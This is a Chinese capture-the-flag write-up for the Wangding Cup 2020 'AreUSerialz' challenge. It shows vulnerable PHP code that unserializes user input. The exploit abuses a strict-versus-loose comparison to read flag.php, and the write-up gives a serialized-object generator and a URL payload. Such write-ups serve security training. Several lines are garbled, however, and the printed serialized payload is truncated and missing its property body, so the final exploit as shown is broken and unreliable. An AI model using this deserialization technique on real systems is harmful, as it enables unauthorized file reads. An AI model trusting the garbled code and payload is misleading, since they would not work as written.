[网鼎杯 2020 青龙组]AreUSerialz

源代码蛮多的，但是题目没有那么复杂

题目

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

关键的位置是：

__destruct()函数会强制将op置1

而只有当op等于2的时候，process()函数才会执行

$res = \(this->read(); \)this->output($res);

从而才会执行read()

\(res = file_get_contents(\)this->filename);

然后才就得到对应的文件

所以我们只要能保证op为2，且filename=flag.php就可以获得flag

经过观察，发现__destruct()函数是===强比较，需要值和类型都相等

if($this->op === "2")

而process则是==弱比较，只需要数值相等，所以将op=2（数字），就可以使op==="2"不相等，而op=="2"是相等的。

于是构造

<?php
class FileHandler {
	public $op=2;
	public $filename="flag.php";
}
$a=new FileHandler;
echo(serialize($a));
?>

获得序列化后的代码

O:11:"FileHandler":2:

得到payload：

url/?str=O:11:"FileHandler":2:

查看源代码得到flag